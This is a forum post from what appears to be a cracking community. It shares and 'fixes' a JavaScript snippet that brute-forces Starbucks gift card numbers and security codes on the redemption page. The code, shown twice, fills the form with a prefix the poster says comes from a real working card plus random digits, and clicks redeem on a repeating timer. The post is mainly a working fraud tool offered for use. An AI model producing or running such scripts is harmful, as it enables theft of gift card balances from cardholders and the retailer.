sushanto73
OVA Historian
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
300 XP
cred goes to Illuminati , and thankfully he put open source so I don't feel bad fixing it. The difference is in just one line, but it makes a huge world of difference. Red is his and green is my fix. His checks numbers that start with 1,2,3,4,5,7,8,9, and 0 which it cannot be any of those numbers whatsoever, all Starbucks start with a 6. There is additional parts to the algorithm too, the first 8 numbers I have put in are from a working gift code, the comments in blue you can replace with some other working first 8 numbers. This makes the likelihood of getting a hit maybe a million times more likely - somebody check my math [0].setAttribute("id", "redeem-code");
var speed = prompt("Speed of checker/gen (Recommended 500 for fast pcs, 1000 for slow)")
function generateCode(e) {
var code = "";
var chars = "0123456789";
for (var i = 0; i < e; i++)
code += chars.charAt(Math.floor(Math.random() * chars.length));
return code;
}
function main() {
document.getElementById("cardNumber").value = 60890861 + generateCode(8);
document.getElementById("securityCode").value = generateCode(8);
document.getElementById("redeem-code").click();
}
setInterval(function() {
main();
}, speed);
Edited by theashley, 06 March 2019 - 01:13 AM.
var speed = prompt("Speed of checker/gen (Recommended 500 for fast pcs, 1000 for slow)")
function generateCode(e) {
var code = "";
var chars = "0123456789";
for (var i = 0; i < e; i++)
code += chars.charAt(Math.floor(Math.random() * chars.length));
return code;
}
function main() {
document.getElementById("cardNumber").value = 60890861 + generateCode(8);
document.getElementById("securityCode").value = generateCode(8);
document.getElementById("redeem-code").click();
}
setInterval(function() {
main();
}, speed);
Edited by theashley, 06 March 2019 - 01:13 AM.